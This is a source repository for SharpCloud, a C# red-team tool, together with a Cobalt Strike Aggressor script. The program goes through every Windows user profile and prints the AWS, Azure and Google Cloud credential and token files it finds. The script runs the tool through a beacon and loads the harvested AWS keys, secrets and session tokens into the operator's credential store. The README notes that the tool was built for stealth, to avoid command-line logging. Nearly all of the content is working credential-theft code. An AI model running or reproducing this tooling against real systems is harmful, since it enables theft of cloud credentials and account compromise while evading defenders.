Repository: chrismaddalena/SharpCloud Branch: master Commit: 58a3e7a9e95b Files: 9 Total size: 21.2 KB Directory structure: gitextract_6nhppghn/ ├── .gitignore ├── LICENSE ├── README.md ├── SharpCloud/ │ ├── App.config │ ├── Program.cs │ ├── Properties/ │ │ └── AssemblyInfo.cs │ └── SharpCloud.csproj ├── SharpCloud.sln └── sharpcloud.cna ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ .DS_Store ================================================ FILE: LICENSE ================================================ BSD 3-Clause License Copyright (c) 2018, Chris Maddalena All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ================================================ FILE: README.md ================================================ # SharpCloud SharpCloud is a simple C# utility for checking for the existence of credential files related to Amazon Web Services, Microsoft Azure, and Google Compute. More information: https://posts.specterops.io/head-in-the-clouds-bd038bb69e48 ## Basic Usage SharpCloud can be run using one of the following commands: * `SharpCloud.exe all` * Searches all user profiles for credentials related to Microsoft Azure, Google Compute, and Amazon Web Services. * `SharpCloud.exe aws` * Searches all user profiles for credentials related to Amazon Web Services. * `SharpCloud.exe azure` * Searches all user profiles for credentials related to Microsoft Azure. * `SharpCloud.exe gcloud` * Searches all user profiles for credentials related to Google Compute. ## SharpCloud with Aggressor If you use Cobalt Strike, this repo includes a sharpcloud.cna file for CS. This adds sveral aliases for `execute_assembly` with SharpCloud.exe: * `dump_aws` * `dump_gcloud` * `dump_azure` The SharpCloud.exe binary needs to be in the same directory as the script. The aliases are fairly self-explanatory. As an example, `dump_aws` is an alias for `execute_assembly SharpCloud.exe aws`. While it would be trivial to set aside the C# and write SharpCloud using shell or PowerShell commands, this was not done to keep SharpCloud's checks and data collection as stealthy as possible. That means avoiding command line logging. It is notable that `dump_aws` will add any discovered credentials to Cobalt Strike's Credentials model. Should the alias find AWS credentials, those credentials will be saved just like credentials discovered via Mimikatz and other Cobalt Strike utilities. They will appear with the `realm` set to "AWS" and the access key and access secret set as the `user` and `password`. If an AWS token is present in the profile, the token will be noted in the `password` field. The AWS profile name will be saved in the `source` field. This is only done for AWS credentials, but might be done for Azure in a future version. It's not feasible for Google Compute because Compute uses SQLite3 databases and reading the values from them becomes much trickier. It is possible, and potentially useful, to do this for credential information found inside Compute's legacy_credential directory. ================================================ FILE: SharpCloud/App.config ================================================  ================================================ FILE: SharpCloud/Program.cs ================================================ using System; using System.IO; using System.Management; using System.Collections.Generic; using System.Security.Principal; namespace SharpCloud { class CloudDump { // Checks if the current user has administrative privileges public static bool IsAdministrator() { WindowsIdentity identity = WindowsIdentity.GetCurrent(); WindowsPrincipal principal = new WindowsPrincipal(identity); return principal.IsInRole(WindowsBuiltInRole.Administrator); } // Collects usernames using Win32_UserAccount query, filters the usernames, and returns list public static List GetUsers() { // Create two user lists to ignore select local/domain usernames that will not have credentials List usernames = new List(); List ignored_users = new List(); ignored_users.Add("DefaultAccount"); ignored_users.Add("WDAGUtilityAccount"); ignored_users.Add("Guest"); ignored_users.Add("Administrator"); ignored_users.Add("krbtgt"); // Win32_UserAccount will return all use profiles on the host // If the host is unable to talk to the domain, it will miss domain account profiles SelectQuery sQuery = new SelectQuery("Win32_UserAccount"); try { ManagementObjectSearcher mSearcher = new ManagementObjectSearcher(sQuery); foreach (ManagementObject mObject in mSearcher.Get()) { string strUser = Convert.ToString(mObject["Name"]); if (!ignored_users.Contains(strUser)) { usernames.Add(strUser); } } } catch (Exception ex) { Console.WriteLine(ex.ToString()); } return usernames; } // Checks if the provided filename exists and returns its contents static void CheckFile(string filename) { if (File.Exists(filename)) { Console.WriteLine(Environment.NewLine + "[*] Found {0}:", filename); string fileContents = File.ReadAllText(filename); if (filename.Contains(".db")) { //string cleaned = fileContents.Substring(fileContents.IndexOf("CREATE TABLE")); //Console.WriteLine(Environment.NewLine + Convert.ToString(cleaned)); Console.WriteLine("L.. You will want to copy this file."); } else { Console.WriteLine(Environment.NewLine + Convert.ToString(fileContents)); } } } // Checks if the provided command exists in the provided PATH static Boolean CheckCommand(string command, string path) { Boolean commandExists = false; if (path.Contains(command)) { commandExists = true; } return commandExists; } // Prints basic usage information for the utility static void Usage() { Console.WriteLine(" SharpCloud can be run using one of the following commands:\r\n"); Console.WriteLine(" .. \"SharpCloud.exe all\" - Searches all user profiles for credentials related to all cloud services."); Console.WriteLine(" .. \"SharpCloud.exe aws\" - Searches all user profiles for credentials related to Amazon Web Services."); Console.WriteLine(" .. \"SharpCloud.exe azure\" - Searches all user profiles for credentials related to Microsoft Azure."); Console.WriteLine(" .. \"SharpCloud.exe gcloud\" - Searches all user profiles for credentials related to Google Compute."); } // Checks for files associated with AWS credentials static void CheckAWS(string user) { // Credential and config file locations in $HOME on Windows string awsKeyFile = String.Format(@"C:\Users\{0}\.aws\credentials", user); Console.WriteLine("[+] Checking for awscli files..."); CheckFile(awsKeyFile); } // Checks for files associated with Azure credentials static void CheckAzure(string user) { // Credential and config file locations in $HOME on Windows string azureTokens = String.Format(@"C:\Users\{0}\.azure\accessTokens.json", user); string azureProfile = String.Format(@"C:\Users\{0}\.azure\azureProfile.json", user); Console.WriteLine(Environment.NewLine + "[+] Checking for Azure CLI files..."); CheckFile(azureTokens); CheckFile(azureProfile); } // Checks for files associated with Google Compute credentials static void CheckGoogle(string user) { // Credential and config file locations in $HOME on Windows string computeLegacyCreds = String.Format(@"C:\Users\{0}\AppData\Roaming\gcloud\legacy_credentials", user); string computeCredsDb = String.Format(@"C:\Users\{0}\AppData\Roaming\gcloud\credentials.db", user); string computeAccessTokensDb = String.Format(@"C:\Users\{0}\AppData\Roaming\gcloud\access_tokens.db", user); Console.WriteLine(Environment.NewLine + "[+] Checking for Google Compute SDK files..."); CheckFile(computeCredsDb); CheckFile(computeAccessTokensDb); if (Directory.Exists(computeLegacyCreds)) { string[] legacyCreds = Directory.GetFiles(computeLegacyCreds, "*", SearchOption.AllDirectories); foreach (var file in legacyCreds) { CheckFile(file); } } } // Checks for any and all credentials files static void CheckAll(string user) { CheckAWS(user); CheckAzure(user); CheckGoogle(user); } /** SharpCloud will generate a list of users, check if the current user is an administrator, check if any of the CLI tools are installed, and then check for credential files based on the command line option used. **/ static void Main(string[] args) { if (args.Length != 0) { // Get a list of all user profiles List allUsers = GetUsers(); // CLI commands to search for in the user's PATH string azureCLI = @"Azure\CLI2"; string computeCLI = @"google-cloud-sdk"; string awsCLI = @"AWSCLI"; // Get the current user string currentUser = Environment.UserName; Console.WriteLine("[+] Operating in the context of the '{0}' user.", currentUser); // Check if the current user is an administrator if (IsAdministrator()) { Console.WriteLine("[*] Current user is an Administrator!"); } else { Console.WriteLine("[!] Current user is NOT an Administrator! Cloud files for other users may not be returned."); } // Get the current user's PATH and check for CLI tools string userPath = Environment.GetEnvironmentVariable("PATH"); Boolean awsExists = CheckCommand(awsCLI, userPath); Boolean computeExists = CheckCommand(computeCLI, userPath); Boolean azureExists = CheckCommand(azureCLI, userPath); if (awsExists) { Console.WriteLine("[+] AWSCLI exists in the current user's PATH. You should be able to use 'aws' commands."); } else { Console.WriteLine("[+] AWSCLI is not in the current user's PATH."); } if (computeExists) { Console.WriteLine("[+] Google Compute SDK exists in the current user's PATH. You should be able to use 'gcloud' and 'gsutil' commands."); } else { Console.WriteLine("[+] Google Compute SDK is not in the current user's PATH."); } if (azureExists) { Console.WriteLine("[+] Azure CLI exists in the current user's PATH. You should be able to use 'az' commands."); } else { Console.WriteLine("[+] Azure CLI is not in the current user's PATH."); } // Check the user arguments and then loop through users for checks foreach (string arg in args) { if (string.Equals(arg, "all", StringComparison.CurrentCultureIgnoreCase)) { foreach (var user in allUsers) { Console.WriteLine(Environment.NewLine + "[+] Checking home directory for the {0} user:", user); CheckAll(user); } } else if (string.Equals(arg, "aws", StringComparison.CurrentCultureIgnoreCase)) { foreach (var user in allUsers) { Console.WriteLine(Environment.NewLine + "[+] Checking home directory for the {0} user:", user); CheckAWS(user); } } else if (string.Equals(arg, "azure", StringComparison.CurrentCultureIgnoreCase)) { foreach (var user in allUsers) { Console.WriteLine(Environment.NewLine + "[+] Checking home directory for the {0} user:", user); CheckAzure(user); } } else if (string.Equals(arg, "gcloud", StringComparison.CurrentCultureIgnoreCase)) { foreach (var user in allUsers) { Console.WriteLine(Environment.NewLine + "[+] Checking home directory for the {0} user:", user); CheckGoogle(user); } } else { Usage(); return; } } Console.WriteLine(Environment.NewLine + "[+] Job's done! Press Enter to continue."); Console.Read(); } else { Usage(); return; } } } } ================================================ FILE: SharpCloud/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("SharpCloud")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("SharpCloud")] [assembly: AssemblyCopyright("Copyright © 2018")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("ca4e257e-69c1-45c5-9375-ba7874371892")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] ================================================ FILE: SharpCloud/SharpCloud.csproj ================================================  Debug AnyCPU {CA4E257E-69C1-45C5-9375-BA7874371892} Exe SharpCloud SharpCloud v4.6.1 512 true AnyCPU true full false bin\Debug\ DEBUG;TRACE prompt 4 AnyCPU pdbonly true bin\Release\ TRACE prompt 4 ================================================ FILE: SharpCloud.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 15 VisualStudioVersion = 15.0.27703.2042 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpCloud", "SharpCloud\SharpCloud.csproj", "{CA4E257E-69C1-45C5-9375-BA7874371892}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Release|Any CPU = Release|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {CA4E257E-69C1-45C5-9375-BA7874371892}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {CA4E257E-69C1-45C5-9375-BA7874371892}.Debug|Any CPU.Build.0 = Debug|Any CPU {CA4E257E-69C1-45C5-9375-BA7874371892}.Release|Any CPU.ActiveCfg = Release|Any CPU {CA4E257E-69C1-45C5-9375-BA7874371892}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {1AFB766A-67B0-4402-8E1F-2E1CE933E97B} EndGlobalSection EndGlobal ================================================ FILE: sharpcloud.cna ================================================ alias dump_aws { # Execute SharpCloud with the "aws" option bexecute_assembly($1, script_resource("SharpCloud.exe"), "aws"); # Once beacon receives output, find any AWS creds on beacon_output { # Split SharpCloud's output by newlines for iteration @data = split("\n",$2); $counter = 0; foreach $line (@data) { # Find the line that denotes the beginning of new AWS creds if ($line hasmatch 'aws_access_key_id.') { # The counter helps if multiple AWS creds are returned for one user # We can detect the beginning of one and use the counter to grab the data $aws_profile = replace(@data[$counter - 1], '\[', ""); $aws_profile = "AWS Profile: " . replace($aws_profile, '\]', ""); $aws_key = replace(split("=", $line)[1], " ", ""); $aws_secret = replace(split("=", @data[$counter + 1])[1], " ", ""); # Not all creds will have or need tokens, so check for that and then adcreds to beacon's credential model if (@data[$counter + 2] hasmatch 'aws_session_token.') { $aws_token = replace(split("=", @data[$counter + 2])[1], " ", ""); credential_add($aws_key,"Secret: " . $aws_secret . ", Token: " . $aws_token, "AWS", $aws_profile, beacon_info($1, "computer")); } else { credential_add($aws_key,"Secret: " . $aws_secret, "AWS", $aws_profile, beacon_info($1, "computer")); } } $counter++; } } } alias dump_azure { bexecute_assembly($1, script_resource("SharpCloud.exe"), "azure"); } alias dump_gcloud { bexecute_assembly($1, script_resource("SharpCloud.exe"), "gcloud"); }